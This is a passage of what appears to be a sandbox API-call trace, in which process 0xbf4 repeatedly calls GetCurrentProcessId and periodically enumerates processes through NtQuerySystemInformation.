0xbf4 [0287.030] GetCurrentProcessId () returned 0xbf4 [0287.030] GetCurrentProcessId () returned 0xbf4 [0287.030] GetCurrentProcessId () returned 0xbf4 [0287.030] GetCurrentProcessId () returned 0xbf4 [0287.030] GetCurrentProcessId () returned 0xbf4 [0287.030] GetCurrentProcessId () returned 0xbf4 [0287.030] GetCurrentProcessId () returned 0xbf4 [0287.030] GetCurrentProcessId () returned 0xbf4 [0287.030] GetCurrentProcessId () returned 0xbf4 [0287.030] GetCurrentProcessId () returned 0xbf4 [0287.030] GetCurrentProcessId () returned 0xbf4 [0287.030] GetCurrentProcessId () returned 0xbf4 [0287.030] GetCurrentProcessId () returned 0xbf4 [0287.030] GetCurrentProcessId () returned 0xbf4 [0287.030] GetCurrentProcessId () returned 0xbf4 [0287.030] GetCurrentProcessId () returned 0xbf4 [0287.030] GetCurrentProcessId () returned 0xbf4 [0287.030] GetCurrentProcessId () returned 0xbf4 [0287.031] GetCurrentProcessId () returned 0xbf4 [0287.031] GetCurrentProcessId () returned 0xbf4 [0287.031] GetCurrentProcessId () returned 0xbf4 [0287.031] GetCurrentProcessId () returned 0xbf4 [0287.031] GetCurrentProcessId () returned 0xbf4 [0287.031] GetCurrentProcessId () returned 0xbf4 [0287.031] GetCurrentProcessId () returned 0xbf4 [0287.031] GetCurrentProcessId () returned 0xbf4 [0287.031] GetCurrentProcessId () returned 0xbf4 [0287.031] GetCurrentProcessId () returned 0xbf4 [0287.031] GetCurrentProcessId () returned 0xbf4 [0287.031] GetCurrentProcessId () returned 0xbf4 [0287.031] GetCurrentProcessId () returned 0xbf4 [0287.031] GetCurrentProcessId () returned 0xbf4 [0287.031] GetCurrentProcessId () returned 0xbf4 [0287.031] GetCurrentProcessId () returned 0xbf4 [0287.031] GetCurrentProcessId () returned 0xbf4 [0287.031] GetCurrentProcessId () returned 0xbf4 [0287.031] GetCurrentProcessId () returned 0xbf4 [0287.031] GetCurrentProcessId () returned 0xbf4 [0287.031] GetCurrentProcessId () returned 0xbf4 [0287.031] GetCurrentProcessId () returned 0xbf4 [0287.031] GetCurrentProcessId () returned 0xbf4 [0287.031] GetCurrentProcessId () returned 0xbf4 [0287.031] GetCurrentProcessId () returned 0xbf4 [0287.031] GetCurrentProcessId () returned 0xbf4 [0287.031] GetCurrentProcessId () returned 0xbf4 [0287.031] GetCurrentProcessId () returned 0xbf4 [0287.539] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x1289b270, Length=0x20000, ResultLength=0x1b6beb00 | out: SystemInformation=0x1289b270, ResultLength=0x1b6beb00*=0x1c8e0) returned 0x0 [0287.543] GetCurrentProcessId () returned 0xbf4 [0287.543] GetCurrentProcessId () returned 0xbf4 [0287.543] GetCurrentProcessId () returned 0xbf4 [0287.543] GetCurrentProcessId () returned 0xbf4 [0287.543] GetCurrentProcessId () returned 0xbf4 [0287.543] GetCurrentProcessId () returned 0xbf4 [0287.543] GetCurrentProcessId () returned 0xbf4 [0287.543] GetCurrentProcessId () returned 0xbf4 [0287.543] GetCurrentProcessId () returned 0xbf4 [0287.543] GetCurrentProcessId () returned 0xbf4 [0287.543] GetCurrentProcessId () returned 0xbf4 [0287.543] GetCurrentProcessId () returned 0xbf4 [0287.543] GetCurrentProcessId () returned 0xbf4 [0287.543] GetCurrentProcessId () returned 0xbf4 [0287.543] GetCurrentProcessId () returned 0xbf4 [0287.543] GetCurrentProcessId () returned 0xbf4 [0287.543] GetCurrentProcessId () returned 0xbf4 [0287.543] GetCurrentProcessId () returned 0xbf4 [0287.543] GetCurrentProcessId () returned 0xbf4 [0287.543] GetCurrentProcessId () returned 0xbf4 [0287.543] GetCurrentProcessId () returned 0xbf4 [0287.543] GetCurrentProcessId () returned 0xbf4 [0287.543] GetCurrentProcessId () returned 0xbf4 [0287.543] GetCurrentProcessId () returned 0xbf4 [0287.544] GetCurrentProcessId () returned 0xbf4 [0287.544] GetCurrentProcessId () returned 0xbf4 [0287.544] GetCurrentProcessId () returned 0xbf4 [0287.544] GetCurrentProcessId () returned 0xbf4 [0287.544] GetCurrentProcessId () returned 0xbf4 [0287.544] GetCurrentProcessId () returned 0xbf4 [0287.544] GetCurrentProcessId () returned 0xbf4 [0287.544] GetCurrentProcessId () returned 0xbf4 [0287.544] GetCurrentProcessId () returned 0xbf4 [0287.544] GetCurrentProcessId () returned 0xbf4 [0287.544] GetCurrentProcessId () returned 0xbf4 [0287.544] GetCurrentProcessId () returned 0xbf4 [0287.544] GetCurrentProcessId () returned 0xbf4 [0287.544] GetCurrentProcessId () returned 0xbf4 [0287.544] GetCurrentProcessId () returned 0xbf4 [0287.544] GetCurrentProcessId () returned 0xbf4 [0287.544] GetCurrentProcessId () returned 0xbf4 [0287.544] GetCurrentProcessId () returned 0xbf4 [0287.544] GetCurrentProcessId () returned 0xbf4 [0287.544] GetCurrentProcessId () returned 0xbf4 [0287.544] GetCurrentProcessId () returned 0xbf4 [0287.544] GetCurrentProcessId () returned 0xbf4 [0287.544] GetCurrentProcessId () returned 0xbf4 [0287.544] GetCurrentProcessId () returned 0xbf4 [0287.544] GetCurrentProcessId () returned 0xbf4 [0287.544] GetCurrentProcessId () returned 0xbf4 [0287.544] GetCurrentProcessId () returned 0xbf4 [0287.544] GetCurrentProcessId () returned 0xbf4 [0287.545] GetCurrentProcessId () returned 0xbf4 [0287.545] GetCurrentProcessId () returned 0xbf4 [0287.545] GetCurrentProcessId () returned 0xbf4 [0287.545] GetCurrentProcessId () returned 0xbf4 [0287.545] GetCurrentProcessId () returned 0xbf4 [0287.545] GetCurrentProcessId () returned 0xbf4 [0287.545] GetCurrentProcessId () returned 0xbf4 [0287.545] GetCurrentProcessId () returned 0xbf4 [0287.545] GetCurrentProcessId () returned 0xbf4 [0287.545] GetCurrentProcessId () returned 0xbf4 [0287.545] GetCurrentProcessId () returned 0xbf4 [0287.545] GetCurrentProcessId () returned 0xbf4 [0287.545] GetCurrentProcessId () returned 0xbf4 [0287.545] GetCurrentProcessId () returned 0xbf4 [0287.545] GetCurrentProcessId () returned 0xbf4 [0287.545] GetCurrentProcessId () returned 0xbf4 [0287.545] GetCurrentProcessId () returned 0xbf4 [0287.545] GetCurrentProcessId () returned 0xbf4 [0287.545] GetCurrentProcessId () returned 0xbf4 [0287.545] GetCurrentProcessId () returned 0xbf4 [0287.545] GetCurrentProcessId () returned 0xbf4 [0287.545] GetCurrentProcessId () returned 0xbf4 [0287.545] GetCurrentProcessId () returned 0xbf4 [0287.545] GetCurrentProcessId () returned 0xbf4 [0287.545] GetCurrentProcessId () returned 0xbf4 [0287.545] GetCurrentProcessId () returned 0xbf4 [0287.545] GetCurrentProcessId () returned 0xbf4 [0287.545] GetCurrentProcessId () returned 0xbf4 [0287.546] GetCurrentProcessId () returned 0xbf4 [0287.546] GetCurrentProcessId () returned 0xbf4 [0287.546] GetCurrentProcessId () returned 0xbf4 [0287.546] GetCurrentProcessId () returned 0xbf4 [0287.546] GetCurrentProcessId () returned 0xbf4 [0287.546] GetCurrentProcessId () returned 0xbf4 [0287.546] GetCurrentProcessId () returned 0xbf4 [0287.546] GetCurrentProcessId () returned 0xbf4 [0287.546] GetCurrentProcessId () returned 0xbf4 [0287.546] GetCurrentProcessId () returned 0xbf4 [0287.546] GetCurrentProcessId () returned 0xbf4 [0287.546] GetCurrentProcessId () returned 0xbf4 [0287.546] GetCurrentProcessId () returned 0xbf4 [0287.546] GetCurrentProcessId () returned 0xbf4 [0287.546] GetCurrentProcessId () returned 0xbf4 [0287.546] GetCurrentProcessId () returned 0xbf4 [0287.546] GetCurrentProcessId () returned 0xbf4 [0287.546] GetCurrentProcessId () returned 0xbf4 [0287.546] GetCurrentProcessId () returned 0xbf4 [0287.546] GetCurrentProcessId () returned 0xbf4 [0287.546] GetCurrentProcessId () returned 0xbf4 [0287.546] GetCurrentProcessId () returned 0xbf4 [0287.546] GetCurrentProcessId () returned 0xbf4 [0287.546] GetCurrentProcessId () returned 0xbf4 [0287.546] GetCurrentProcessId () returned 0xbf4 [0287.546] GetCurrentProcessId () returned 0xbf4 [0288.055] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x1289b270, Length=0x20000, ResultLength=0x1b6beb00 | out: SystemInformation=0x1289b270, ResultLength=0x1b6beb00*=0x1c930) returned 0x0 [0288.067] GetCurrentProcessId () returned 0xbf4 [0288.067] GetCurrentProcessId () returned 0xbf4 [0288.067] GetCurrentProcessId () returned 0xbf4 [0288.067] GetCurrentProcessId () returned 0xbf4 [0288.067] GetCurrentProcessId () returned 0xbf4 [0288.067] GetCurrentProcessId () returned 0xbf4 [0288.067] GetCurrentProcessId () returned 0xbf4 [0288.067] GetCurrentProcessId () returned 0xbf4 [0288.067] GetCurrentProcessId () returned 0xbf4 [0288.067] GetCurrentProcessId () returned 0xbf4 [0288.067] GetCurrentProcessId () returned 0xbf4 [0288.067] GetCurrentProcessId () returned 0xbf4 [0288.067] GetCurrentProcessId () returned 0xbf4 [0288.067] GetCurrentProcessId () returned 0xbf4 [0288.067] GetCurrentProcessId () returned 0xbf4 [0288.067] GetCurrentProcessId () returned 0xbf4 [0288.067] GetCurrentProcessId () returned 0xbf4 [0288.067] GetCurrentProcessId () returned 0xbf4 [0288.067] GetCurrentProcessId () returned 0xbf4 [0288.068] GetCurrentProcessId () returned 0xbf4 [0288.068] GetCurrentProcessId () returned 0xbf4 [0288.068] GetCurrentProcessId () returned 0xbf4 [0288.068] GetCurrentProcessId () returned 0xbf4 [0288.068] GetCurrentProcessId () returned 0xbf4 [0288.068] GetCurrentProcessId () returned 0xbf4 [0288.068] GetCurrentProcessId () returned 0xbf4 [0288.068] GetCurrentProcessId () returned 0xbf4 [0288.068] GetCurrentProcessId () returned 0xbf4 [0288.068] GetCurrentProcessId () returned 0xbf4 [0288.068] GetCurrentProcessId () returned 0xbf4 [0288.068] GetCurrentProcessId () returned 0xbf4 [0288.068] GetCurrentProcessId () returned 0xbf4 [0288.068] GetCurrentProcessId () returned 0xbf4 [0288.068] GetCurrentProcessId () returned 0xbf4 [0288.068] GetCurrentProcessId () returned 0xbf4 [0288.068] GetCurrentProcessId () returned 0xbf4 [0288.068] GetCurrentProcessId () returned 0xbf4 [0288.068] GetCurrentProcessId () returned 0xbf4 [0288.068] GetCurrentProcessId () returned 0xbf4 [0288.068] GetCurrentProcessId () returned 0xbf4 [0288.068] GetCurrentProcessId () returned 0xbf4 [0288.068] GetCurrentProcessId () returned 0xbf4 [0288.068] GetCurrentProcessId () returned 0xbf4 [0288.068] GetCurrentProcessId () returned 0xbf4 [0288.069] GetCurrentProcessId () returned 0xbf4 [0288.069] GetCurrentProcessId () returned 0xbf4 [0288.069] GetCurrentProcessId () returned 0xbf4 [0288.069] GetCurrentProcessId () returned 0xbf4 [0288.069] GetCurrentProcessId () returned 0xbf4 [0288.069] GetCurrentProcessId () returned 0xbf4 [0288.069] GetCurrentProcessId () returned 0xbf4 [0288.069] GetCurrentProcessId () returned 0xbf4 [0288.069] GetCurrentProcessId () returned 0xbf4 [0288.069] GetCurrentProcessId () returned 0xbf4 [0288.069] GetCurrentProcessId () returned 0xbf4 [0288.069] GetCurrentProcessId () returned 0xbf4 [0288.069] GetCurrentProcessId () returned 0xbf4 [0288.069] GetCurrentProcessId () returned 0xbf4 [0288.069] GetCurrentProcessId () returned 0xbf4 [0288.069] GetCurrentProcessId () returned 0xbf4 [0288.069] GetCurrentProcessId () returned 0xbf4 [0288.069] GetCurrentProcessId () returned 0xbf4 [0288.069] GetCurrentProcessId () returned 0xbf4 [0288.069] GetCurrentProcessId () returned 0xbf4 [0288.069] GetCurrentProcessId () returned 0xbf4 [0288.069] GetCurrentProcessId () returned 0xbf4 [0288.069] GetCurrentProcessId () returned 0xbf4 [0288.069] GetCurrentProcessId () returned 0xbf4 [0288.069] GetCurrentProcessId () returned 0xbf4 [0288.069] GetCurrentProcessId () returned 0xbf4 [0288.069] GetCurrentProcessId () returned 0xbf4 [0288.070] GetCurrentProcessId () returned 0xbf4 [0288.070] GetCurrentProcessId () returned 0xbf4 [0288.070] GetCurrentProcessId () returned 0xbf4 [0288.070] GetCurrentProcessId () returned 0xbf4 [0288.070] GetCurrentProcessId () returned 0xbf4 [0288.070] GetCurrentProcessId () returned 0xbf4 [0288.070] GetCurrentProcessId () returned 0xbf4 [0288.070] GetCurrentProcessId () returned 0xbf4 [0288.070] GetCurrentProcessId () returned 0xbf4 [0288.070] GetCurrentProcessId () returned 0xbf4 [0288.070] GetCurrentProcessId () returned 0xbf4 [0288.072] GetCurrentProcessId () returned 0xbf4 [0288.072] GetCurrentProcessId () returned 0xbf4 [0288.073] GetCurrentProcessId () returned 0xbf4 [0288.073] GetCurrentProcessId () returned 0xbf4 [0288.073] GetCurrentProcessId () returned 0xbf4 [0288.073] GetCurrentProcessId () returned 0xbf4 [0288.073] GetCurrentProcessId () returned 0xbf4 [0288.073] GetCurrentProcessId () returned 0xbf4 [0288.073] GetCurrentProcessId () returned 0xbf4 [0288.073] GetCurrentProcessId () returned 0xbf4 [0288.073] GetCurrentProcessId () returned 0xbf4 [0288.073] GetCurrentProcessId () returned 0xbf4 [0288.073] GetCurrentProcessId () returned 0xbf4 [0288.073] GetCurrentProcessId () returned 0xbf4 [0288.073] GetCurrentProcessId () returned 0xbf4 [0288.073] GetCurrentProcessId () returned 0xbf4 [0288.073] GetCurrentProcessId () returned 0xbf4 [0288.073] GetCurrentProcessId () returned 0xbf4 [0288.073] GetCurrentProcessId () returned 0xbf4 [0288.073] GetCurrentProcessId () returned 0xbf4 [0288.073] GetCurrentProcessId () returned 0xbf4 [0288.073] GetCurrentProcessId () returned 0xbf4 [0288.073] GetCurrentProcessId () returned 0xbf4 [0288.073] GetCurrentProcessId () returned 0xbf4 [0288.586] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x1289b270, Length=0x20000, ResultLength=0x1b6beb00 | out: SystemInformation=0x1289b270, ResultLength=0x1b6beb00*=0x1c8e0) returned 0x0 [0288.606] GetCurrentProcessId () returned 0xbf4 [0288.606] GetCurrentProcessId () returned 0xbf4 [0288.606] GetCurrentProcessId () returned 0xbf4 [0288.606] GetCurrentProcessId () returned 0xbf4 [0288.606] GetCurrentProcessId () returned 0xbf4 [0288.606] GetCurrentProcessId () returned 0xbf4 [0288.606] GetCurrentProcessId () returned 0xbf4 [0288.606] GetCurrentProcessId () returned 0xbf4 [0288.606] GetCurrentProcessId () returned 0xbf4 [0288.606] GetCurrentProcessId () returned 0xbf4 [0288.606] GetCurrentProcessId () returned 0xbf4 [0288.606] GetCurrentProcessId () returned 0xbf4 [0288.606] GetCurrentProcessId () returned 0xbf4 [0288.606] GetCurrentProcessId () returned 0xbf4 [0288.606] GetCurrentProcessId () returned 0xbf4 [0288.606] GetCurrentProcessId () returned 0xbf4 [0288.607] GetCurrentProcessId () returned 0xbf4 [0288.607] GetCurrentProcessId () returned 0xbf4 [0288.607] GetCurrentProcessId () returned 0xbf4 [0288.607] GetCurrentProcessId () returned 0xbf4 [0288.607] GetCurrentProcessId () returned 0xbf4 [0288.607] GetCurrentProcessId () returned 0xbf4 [0288.607] GetCurrentProcessId () returned 0xbf4 [0288.607] GetCurrentProcessId () returned 0xbf4 [0288.607] GetCurrentProcessId () returned 0xbf4 [0288.607] GetCurrentProcessId () returned 0xbf4 [0288.607] GetCurrentProcessId () returned 0xbf4 [0288.607] GetCurrentProcessId () returned 0xbf4 [0288.607] GetCurrentProcessId () returned 0xbf4 [0288.607] GetCurrentProcessId () returned 0xbf4 [0288.607] GetCurrentProcessId () returned 0xbf4 [0288.607] GetCurrentProcessId () returned 0xbf4 [0288.607] GetCurrentProcessId () returned 0xbf4 [0288.607] GetCurrentProcessId () returned 0xbf4 [0288.607] GetCurrentProcessId () returned 0xbf4 [0288.607] GetCurrentProcessId () returned 0xbf4 [0288.607] GetCurrentProcessId () returned 0xbf4 [0288.607] GetCurrentProcessId () returned 0xbf4 [0288.607] GetCurrentProcessId () returned 0xbf4 [0288.607] GetCurrentProcessId () returned 0xbf4 [0288.607] GetCurrentProcessId () returned 0xbf4 [0288.607] GetCurrentProcessId () returned 0xbf4 [0288.608] GetCurrentProcessId () returned 0xbf4 [0288.608] GetCurrentProcessId () returned 0xbf4 [0288.608] GetCurrentProcessId () returned 0xbf4 [0288.608] GetCurrentProcessId () returned 0xbf4 [0288.608] GetCurrentProcessId () returned 0xbf4 [0288.608] GetCurrentProcessId () returned 0xbf4 [0288.608] GetCurrentProcessId () returned 0xbf4 [0288.608] GetCurrentProcessId () returned 0xbf4 [0288.608] GetCurrentProcessId () returned 0xbf4 [0288.608] GetCurrentProcessId () returned 0xbf4 [0288.608] GetCurrentProcessId () returned 0xbf4 [0288.608] GetCurrentProcessId () returned 0xbf4 [0288.608] GetCurrentProcessId () returned 0xbf4 [0288.608] GetCurrentProcessId () returned 0xbf4 [0288.608] GetCurrentProcessId () returned 0xbf4 [0288.608] GetCurrentProcessId () returned 0xbf4 [0288.608] GetCurrentProcessId () returned 0xbf4 [0288.608] GetCurrentProcessId () returned 0xbf4 [0288.608] GetCurrentProcessId () returned 0xbf4 [0288.608] GetCurrentProcessId () returned 0xbf4 [0288.608] GetCurrentProcessId () returned 0xbf4 [0288.608] GetCurrentProcessId () returned 0xbf4 [0288.608] GetCurrentProcessId () returned 0xbf4 [0288.608] GetCurrentProcessId () returned 0xbf4 [0288.609] GetCurrentProcessId () returned 0xbf4 [0288.609] GetCurrentProcessId () returned 0xbf4 [0288.609] GetCurrentProcessId () returned 0xbf4 [0288.609] GetCurrentProcessId () returned 0xbf4 [0288.609] GetCurrentProcessId () returned 0xbf4 [0288.609] GetCurrentProcessId () returned 0xbf4 [0288.609] GetCurrentProcessId () returned 0xbf4 [0288.609] GetCurrentProcessId () returned 0xbf4 [0288.609] GetCurrentProcessId () returned 0xbf4 [0288.609] GetCurrentProcessId () returned 0xbf4 [0288.609] GetCurrentProcessId () returned 0xbf4 [0288.609] GetCurrentProcessId () returned 0xbf4 [0288.609] GetCurrentProcessId () returned 0xbf4 [0288.609] GetCurrentProcessId () returned 0xbf4 [0288.609] GetCurrentProcessId () returned 0xbf4 [0288.609] GetCurrentProcessId () returned 0xbf4 [0288.609] GetCurrentProcessId () returned 0xbf4 [0288.609] GetCurrentProcessId () returned 0xbf4 [0288.609] GetCurrentProcessId () returned 0xbf4 [0288.609] GetCurrentProcessId () returned 0xbf4 [0288.609] GetCurrentProcessId () returned 0xbf4 [0288.609] GetCurrentProcessId () returned 0xbf4 [0288.609] GetCurrentProcessId () returned 0xbf4 [0288.609] GetCurrentProcessId () returned 0xbf4 [0288.609] GetCurrentProcessId () returned 0xbf4 [0288.610] GetCurrentProcessId () returned 0xbf4 [0288.610] GetCurrentProcessId () returned 0xbf4 [0288.610] GetCurrentProcessId () returned 0xbf4 [0288.610] GetCurrentProcessId () returned 0xbf4 [0288.610] GetCurrentProcessId () returned 0xbf4 [0288.610] GetCurrentProcessId () returned 0xbf4 [0288.610] GetCurrentProcessId () returned 0xbf4 [0288.610] GetCurrentProcessId () returned 0xbf4 [0288.610] GetCurrentProcessId () returned 0xbf4 [0288.610] GetCurrentProcessId () returned 0xbf4 [0288.610] GetCurrentProcessId () returned 0xbf4 [0288.610] GetCurrentProcessId () returned 0xbf4 [0288.610] GetCurrentProcessId () returned 0xbf4 [0288.610] GetCurrentProcessId () returned 0xbf4 [0288.610] GetCurrentProcessId () returned 0xbf4 [0289.149] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x1289b270, Length=0x20000, ResultLength=0x1b6beb00 | out: SystemInformation=0x1289b270, ResultLength=0x1b6beb00*=0x1c8e0) returned 0x0 [0289.169] GetCurrentProcessId () returned 0xbf4 [0289.170] GetCurrentProcessId () returned 0xbf4 [0289.170] GetCurrentProcessId () returned 0xbf4 [0289.170] GetCurrentProcessId () returned 0xbf4 [0289.170] GetCurrentProcessId () returned 0xbf4 [0289.170] GetCurrentProcessId () returned 0xbf4 [0289.170] GetCurrentProcessId () returned 0xbf4 [0289.170] GetCurrentProcessId () returned 0xbf4 [0289.170] GetCurrentProcessId () returned 0xbf4 [0289.170] GetCurrentProcessId () returned 0xbf4 [0289.170] GetCurrentProcessId () returned 0xbf4 [0289.170] GetCurrentProcessId () returned 0xbf4 [0289.170] GetCurrentProcessId () returned 0xbf4 [0289.170] GetCurrentProcessId () returned 0xbf4 [0289.170] GetCurrentProcessId () returned 0xbf4 [0289.170] GetCurrentProcessId () returned 0xbf4 [0289.170] GetCurrentProcessId () returned 0xbf4 [0289.170] GetCurrentProcessId () returned 0xbf4 [0289.170] GetCurrentProcessId () returned 0xbf4 [0289.170] GetCurrentProcessId () returned 0xbf4 [0289.170] GetCurrentProcessId () returned 0xbf4 [0289.170] GetCurrentProcessId () returned 0xbf4 [0289.170] GetCurrentProcessId () returned 0xbf4 [0289.170] GetCurrentProcessId () returned 0xbf4 [0289.170] GetCurrentProcessId () returned 0xbf4 [0289.170] GetCurrentProcessId () returned 0xbf4 [0289.170] GetCurrentProcessId () returned 0xbf4 [0289.171] GetCurrentProcessId () returned 0xbf4 [0289.171] GetCurrentProcessId () returned 0xbf4 [0289.171] GetCurrentProcessId () returned 0xbf4 [0289.171] GetCurrentProcessId () returned 0xbf4 [0289.171] GetCurrentProcessId () returned 0xbf4 [0289.171] GetCurrentProcessId () returned 0xbf4 [0289.171] GetCurrentProcessId () returned 0xbf4 [0289.171] GetCurrentProcessId () returned 0xbf4 [0289.171] GetCurrentProcessId () returned 0xbf4 [0289.171] GetCurrentProcessId () returned 0xbf4 [0289.171] GetCurrentProcessId () returned 0xbf4 [0289.171] GetCurrentProcessId () returned 0xbf4 [0289.171] GetCurrentProcessId () returned 0xbf4 [0289.171] GetCurrentProcessId () returned 0xbf4 [0289.171] GetCurrentProcessId () returned 0xbf4 [0289.171] GetCurrentProcessId () returned 0xbf4 [0289.171] GetCurrentProcessId () returned 0xbf4 [0289.171] GetCurrentProcessId () returned 0xbf4 [0289.171] GetCurrentProcessId () returned 0xbf4 [0289.171] GetCurrentProcessId () returned 0xbf4 [0289.171] GetCurrentProcessId () returned 0xbf4 [0289.171] GetCurrentProcessId () returned 0xbf4 [0289.171] GetCurrentProcessId () returned 0xbf4 [0289.171] GetCurrentProcessId () returned 0xbf4 [0289.171] GetCurrentProcessId () returned 0xbf4 [0289.171] GetCurrentProcessId () returned 0xbf4 [0289.171] GetCurrentProcessId () returned 0xbf4 [0289.171] GetCurrentProcessId () returned 0xbf4 [0289.172] GetCurrentProcessId () returned 0xbf4 [0289.172] GetCurrentProcessId () returned 0xbf4 [0289.172] GetCurrentProcessId () returned 0xbf4 [0289.172] GetCurrentProcessId () returned 0xbf4 [0289.172] GetCurrentProcessId () returned 0xbf4 [0289.172] GetCurrentProcessId () returned 0xbf4 [0289.172] GetCurrentProcessId () returned 0xbf4 [0289.172] GetCurrentProcessId () returned 0xbf4 [0289.172] GetCurrentProcessId () returned 0xbf4 [0289.172] GetCurrentProcessId () returned 0xbf4 [0289.172] GetCurrentProcessId () returned 0xbf4 [0289.172] GetCurrentProcessId () returned 0xbf4 [0289.172] GetCurrentProcessId () returned 0xbf4 [0289.172] GetCurrentProcessId () returned 0xbf4 [0289.172] GetCurrentProcessId () returned 0xbf4 [0289.172] GetCurrentProcessId () returned 0xbf4 [0289.172] GetCurrentProcessId () returned 0xbf4 [0289.172] GetCurrentProcessId () returned 0xbf4 [0289.172] GetCurrentProcessId () returned 0xbf4 [0289.172] GetCurrentProcessId () returned 0xbf4 [0289.172] GetCurrentProcessId () returned 0xbf4 [0289.172] GetCurrentProcessId () returned 0xbf4 [0289.172] GetCurrentProcessId () returned 0xbf4 [0289.172] GetCurrentProcessId () returned 0xbf4 [0289.173] GetCurrentProcessId () returned 0xbf4 [0289.173] GetCurrentProcessId () returned 0xbf4 [0289.173] GetCurrentProcessId () returned 0xbf4 [0289.173] GetCurrentProcessId () returned 0xbf4 [0289.173] GetCurrentProcessId () returned 0xbf4 [0289.173] GetCurrentProcessId () returned 0xbf4 [0289.173] GetCurrentProcessId () returned 0xbf4 [0289.173] GetCurrentProcessId () returned 0xbf4 [0289.173] GetCurrentProcessId () returned 0xbf4 [0289.173] GetCurrentProcessId () returned 0xbf4 [0289.173] GetCurrentProcessId () returned 0xbf4 [0289.173] GetCurrentProcessId () returned 0xbf4 [0289.173] GetCurrentProcessId () returned 0xbf4 [0289.173] GetCurrentProcessId () returned 0xbf4 [0289.173] GetCurrentProcessId () returned 0xbf4 [0289.173] GetCurrentProcessId () returned 0xbf4 [0289.173] GetCurrentProcessId () returned 0xbf4 [0289.173] GetCurrentProcessId () returned 0xbf4 [0289.173] GetCurrentProcessId () returned 0xbf4 [0289.173] GetCurrentProcessId () returned 0xbf4 [0289.173] GetCurrentProcessId () returned 0xbf4 [0289.173] GetCurrentProcessId () returned 0xbf4 [0289.173] GetCurrentProcessId () returned 0xbf4 [0289.173] GetCurrentProcessId () returned 0xbf4 [0289.173] GetCurrentProcessId () returned 0xbf4 [0289.174] GetCurrentProcessId () returned 0xbf4 [0289.174] GetCurrentProcessId () returned 0xbf4 [0289.688] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x1289b270, Length=0x20000, ResultLength=0x1b6beb00 | out: SystemInformation=0x1289b270, ResultLength=0x1b6beb00*=0x1c8e0) returned 0x0 [0289.737] GetCurrentProcessId () returned 0xbf4 [0289.737] GetCurrentProcessId () returned 0xbf4 [0289.737] GetCurrentProcessId () returned 0xbf4 [0289.737] GetCurrentProcessId () returned 0xbf4 [0289.737] GetCurrentProcessId () returned 0xbf4 [0289.737] GetCurrentProcessId () returned 0xbf4 [0289.737] GetCurrentProcessId () returned 0xbf4 [0289.737] GetCurrentProcessId () returned 0xbf4 [0289.737] GetCurrentProcessId () returned 0xbf4 [0289.737] GetCurrentProcessId () returned 0xbf4 [0289.737] GetCurrentProcessId () returned 0xbf4 [0289.737] GetCurrentProcessId () returned 0xbf4 [0289.737] GetCurrentProcessId () returned 0xbf4 [0289.737] GetCurrentProcessId () returned 0xbf4 [0289.737] GetCurrentProcessId () returned 0xbf4 [0289.737] GetCurrentProcessId () returned 0xbf4 [0289.737] GetCurrentProcessId () returned 0xbf4 [0289.737] GetCurrentProcessId () returned 0xbf4 [0289.737] GetCurrentProcessId () returned 0xbf4 [0289.737] GetCurrentProcessId () returned 0xbf4 [0289.737] GetCurrentProcessId () returned 0xbf4 [0289.737] GetCurrentProcessId () returned 0xbf4 [0289.737] GetCurrentProcessId () returned 0xbf4 [0289.737] GetCurrentProcessId () returned 0xbf4 [0289.737] GetCurrentProcessId () returned 0xbf4 [0289.738] GetCurrentProcessId () returned 0xbf4 [0289.738] GetCurrentProcessId () returned 0xbf4 [0289.738] GetCurrentProcessId () returned 0xbf4 [0289.738] GetCurrentProcessId () returned 0xbf4 [0289.738] GetCurrentProcessId () returned 0xbf4 [0289.738] GetCurrentProcessId () returned 0xbf4 [0289.738] GetCurrentProcessId () returned 0xbf4 [0289.738] GetCurrentProcessId () returned 0xbf4 [0289.738] GetCurrentProcessId () returned 0xbf4 [0289.738] GetCurrentProcessId () returned 0xbf4 [0289.738] GetCurrentProcessId () returned 0xbf4 [0289.738] GetCurrentProcessId () returned 0xbf4 [0289.738] GetCurrentProcessId () returned 0xbf4 [0289.738] GetCurrentProcessId () returned 0xbf4 [0289.738] GetCurrentProcessId () returned 0xbf4 [0289.738] GetCurrentProcessId () returned 0xbf4 [0289.738] GetCurrentProcessId () returned 0xbf4 [0289.738] GetCurrentProcessId () returned 0xbf4 [0289.738] GetCurrentProcessId () returned 0xbf4 [0289.738] GetCurrentProcessId () returned 0xbf4 [0289.738] GetCurrentProcessId () returned 0xbf4 [0289.738] GetCurrentProcessId () returned 0xbf4 [0289.738] GetCurrentProcessId () returned 0xbf4 [0289.738] GetCurrentProcessId () returned 0xbf4 [0289.738] GetCurrentProcessId () returned 0xbf4 [0289.738] GetCurrentProcessId () returned 0xbf4 [0289.738] GetCurrentProcessId () returned 0xbf4 [0289.738] GetCurrentProcessId () returned 0xbf4 [0289.738] GetCurrentProcessId () returned 0xbf4 [0289.738] GetCurrentProcessId () returned 0xbf4 [0289.738] GetCurrentProcessId () returned 0xbf4 [0289.738] GetCurrentProcessId () returned 0xbf4 [0289.738] GetCurrentProcessId () returned 0xbf4 [0289.738] GetCurrentProcessId () returned 0xbf4 [0289.738] GetCurrentProcessId () returned 0xbf4 [0289.738] GetCurrentProcessId () returned 0xbf4 [0289.738] GetCurrentProcessId () returned 0xbf4 [0289.739] GetCurrentProcessId () returned 0xbf4 [0289.739] GetCurrentProcessId () returned 0xbf4 [0289.739] GetCurrentProcessId () returned 0xbf4 [0289.739] GetCurrentProcessId () returned 0xbf4 [0289.739] GetCurrentProcessId () returned 0xbf4 [0289.739] GetCurrentProcessId () returned 0xbf4 [0289.739] GetCurrentProcessId () returned 0xbf4 [0289.739] GetCurrentProcessId () returned 0xbf4 [0289.739] GetCurrentProcessId () returned 0xbf4 [0289.739] GetCurrentProcessId () returned 0xbf4 [0289.739] GetCurrentProcessId () returned 0xbf4 [0289.739] GetCurrentProcessId () returned 0xbf4 [0289.739] GetCurrentProcessId () returned 0xbf4 [0289.739] GetCurrentProcessId () returned 0xbf4 [0289.739] GetCurrentProcessId () returned 0xbf4 [0289.739] GetCurrentProcessId () returned 0xbf4 [0289.739] GetCurrentProcessId () returned 0xbf4 [0289.739] GetCurrentProcessId () returned 0xbf4 [0289.739] GetCurrentProcessId () returned 0xbf4 [0289.739] GetCurrentProcessId () returned 0xbf4 [0289.739] GetCurrentProcessId () returned 0xbf4 [0289.764] GetCurrentProcessId () returned 0xbf4 